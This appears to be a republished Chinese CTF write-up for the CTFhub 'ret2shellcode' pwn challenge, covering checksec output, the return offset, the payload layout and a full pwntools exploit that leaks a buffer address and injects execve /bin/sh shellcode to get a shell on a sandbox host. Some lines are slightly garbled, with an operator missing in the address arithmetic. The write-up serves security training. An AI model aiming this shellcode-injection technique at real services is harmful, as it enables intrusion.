• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

CTFhub-pwn-[ret2shellcode]

武飞扬头像
沧海一粟日尽其用
帮助1


ret2shellcode的一个小练习,来自CTFhub。

1.题目信息

学新通
学新通

2.程序分析

──(root💀kali)-[~/Desktop/CTFhub-pwn-EX]
└─# ./pwn2
Welcome to CTFHub ret2shellcode!
What is it : [0x7fff8fef4250] ?
Input someting : 
fafa
                                                                        
┌──(root💀kali)-[~/Desktop/CTFhub-pwn-EX]
└─# ldd pwn2 
        linux-vdso.so.1 (0x00007ffea20d8000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc1fda67000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fc1fdc56000)
                                                                        
┌──(root💀kali)-[~/Desktop/CTFhub-pwn-EX]
└─# checksec pwn2 
[*] '/root/Desktop/CTFhub-pwn-EX/pwn2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

学新通

几个大方向的思路:
没有PIE:ret2libc
NX关闭:ret2shellcode
其他思路:ret2csu、ret2text 【程序本身有shellcode】

3.IDA分析

3.1 反编译main函数

学新通
分析返回地址偏移量
学新通
0x18

3.2 payload 构造思路

"a"*0x18 [buf_addr 32] shellcode
具体布栈的方法为了便于理解,我画了一张图。
学新通

4.exp编写

4.1 如何知道buf的地址呢?

		观察反编译的main函数,printf打印出了buf的地址。从远端的输出获取即可

4.2 exp的编写

from pwn import *
context(arch='amd64',os='linux')

host='challenge-9f678dcac04b5806.sandbox.ctfhub.com'
port=20705
io=connect(host,port)
#io=process('./pwn2')
padding=0x18
#Get the addr of buf
io.recvuntil('[')
buf_addr=io.recvuntil(']',drop=True)
io.recvuntil('Input someting :')
print('buf_addr:',buf_addr)


#shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload=flat(['a'*padding,p64(int(buf_addr,16) 32),asm(shellcraft.sh())])
print('payload:',payload)
#print("asm(shellcraft.sh())",asm(shellcraft.sh()))
#payload=b'a'*padding p64(int(buf_addr,16) 32) shellcode
#payload=flat(['a'*padding,p64(int(buf_addr,16) 32),p64(shellcode) ])

io.sendline(payload)
io.interactive()

学新通

当然,这里的shellcode也可以用别的了。

5.getshell pwn!

学新通

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgjeebi
系列文章
更多 icon
同类精品
更多 icon
继续加载